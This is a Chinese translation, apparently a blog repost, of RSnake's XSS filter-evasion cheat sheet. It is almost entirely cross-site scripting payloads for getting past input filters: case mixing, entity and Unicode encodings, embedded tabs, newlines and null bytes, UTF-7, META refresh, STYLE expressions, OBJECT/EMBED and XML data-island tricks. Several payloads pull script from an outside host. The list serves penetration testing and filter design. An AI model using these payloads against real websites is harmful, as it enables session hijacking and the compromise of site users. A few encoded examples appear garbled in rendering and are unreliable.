zoukankan      html  css  js  c++  java
  • 完整一点的XSS

     如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助。这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的 细 节问题 的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。

    (介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)
     
    不分大小写引起的XSS
    Code: <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
     
    包含HTML字符
    Code: <IMG SRC=javascript:alert("XSS")>
     
    沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞)
    Code: <IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
     
    畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。
    Code: <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
     
    fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。
    Code: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
     
    UTF-8编码
    Code: <IMG SRC=javascript:alert('XSS')>
     
    Long UTF-8 编码可以不使用分号,这样绕过一些正则检查
    Code: <IMG SRC=javascript:alert('XSS')>
     
    没有分号的Hex编码
    Code:<IMG SRC=javascript:alert('XSS')>
     
    嵌入TAB键进行攻击
    Code: <IMG SRC=”jav    ascript:alert(‘XSS’);”>
     
    嵌入编码过后的TAB键
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
     
    嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
    Code:
    <IMG
    SRC
    =
    j
    a
    v
    a
    s
    c
    r
    i
    p
    t
    :
    a
    l
    e
    r
    t
    (
    X
    S
    S
    )
    >
     
    NULL字符能逃避很多过滤系统
    Code: perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
    Code: perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
     
    多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内 的工 作,而 不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制 止JavaScript错误:
    Code: <<SCRIPT>alert(“XSS”);//<</SCRIPT>
     
    未关闭的标签
    Code: <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
     
    未关闭的img 或者 iframe标签
    Code: <IMG SRC=”javascript:alert(‘XSS’)”
     
    不使用单引号的xss
    Code: <SCRIPT>alert(/XSS/.source)</SCRIPT>
     
    各种其他的标签
    Code: <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
    Code: <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    Code: <BODY ONLOAD=alert(‘XSS’)>
    Code: <IMG DYNSRC=”javascript:alert(‘XSS’)”>
    Code: <BGSOUND SRC=”javascript:alert(‘XSS’);”>
    Code: <BR SIZE=”&{alert(‘XSS’)}”>  (netspace)
    Code: <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
    Code: <LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”>
    Code: <STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>
    Code: <META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css>; REL=stylesheet”>
    Code: <STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>
    Code: <XSS STYLE=”behavior: url(xss.htc);”>
    Code: <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
    Code: <IMG SRC=”mocha:[code]"> (netscape only)
    Code: <IMG SRC="livescript:[code]"> (netscape only)
    Code: <TABLE BACKGROUND="javascript:alert('XSS')">
    Code: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    Code: <TABLE><TD BACKGROUND="javascript:alert('XSS')">
    Code: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    Code: <BASE HREF="javascript:alert('XSS');//">
     
    US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。
    Code: ?scriptualert(EXSSE)?/scriptu
     
    META协议
    Code:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    Code: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
    Code: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
     
    对DIV进行unicode编码
    Code: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
     
    使用expression属性
    Code: <DIV STYLE=" expression(alert('XSS'));">
     
    STYLE标签
    Code:<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    Code: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    Code: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
    Code: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
     
    OBJECT标签
    Code: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
    Code: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
     
    EMBED标签
    Code: <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    Code: <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
    在flash文件中使用如下代码:
    Code: a="get";
    b="URL(\"";
    c="javascript:";
    d="alert('XSS');\")";
    eval(a+b+c+d);
     
    XML namespace可以引入行为文件htc但是必须在同一服务器上
    Code: <HTML xmlns:xss>
    <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
    <xss:xss>XSS</xss:xss>
    </HTML>
    Xss.htc: <PUBLIC:COMPONENT TAGNAME="xss">
    <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
    </PUBLIC:COMPONENT>
    <SCRIPT>
    function main()
    {
    alert("XSS");
    }
    </SCRIPT>
     
    使用CDATA模糊化的XML数据岛
    Cdoe: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
    </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
     
    XML数据岛
    Code:<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
     
    Code: <XML SRC="xsstest.xml" ID=I></XML>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
    (xsstest.xml)必须同域下
     
    HTML+ TIME
    Code: <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
    </BODY></HTML>
    UTF7编码
    Code:<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
     
    防止二次执行的expression语句
    <a STYLE="x:expression((window.r!=1)?(window.r=1,eval(x.t)):1)">
    <x id=x t="alert(0)">
     
    出处:http://ha.ckers.org/xss.html
    作者:RSnake
    翻译:帝释天
  • 相关阅读:
    day7 面向对象 静态方法 类方法 属性方法 类的特殊成员方法 元类 反射 异常处理
    day6 面向对象 封装 继承 多态 类与实例在内存中的关系 经典类和新式类
    day5 time datetime random os sys shutil json pickle shelve xml configparser hashlib subprocess logging re正则 python计算器
    kafka常用操作命令
    linux基础
    django学习1——初识web应用程序
    mysql数据库(三)——pymysql模块
    mysql数据库(二)——表的查询
    mysql数据库(一)
    Python常用模块——re模块
  • 原文地址:https://www.cnblogs.com/cnsanshao/p/2354160.html
Copyright © 2011-2022 走看看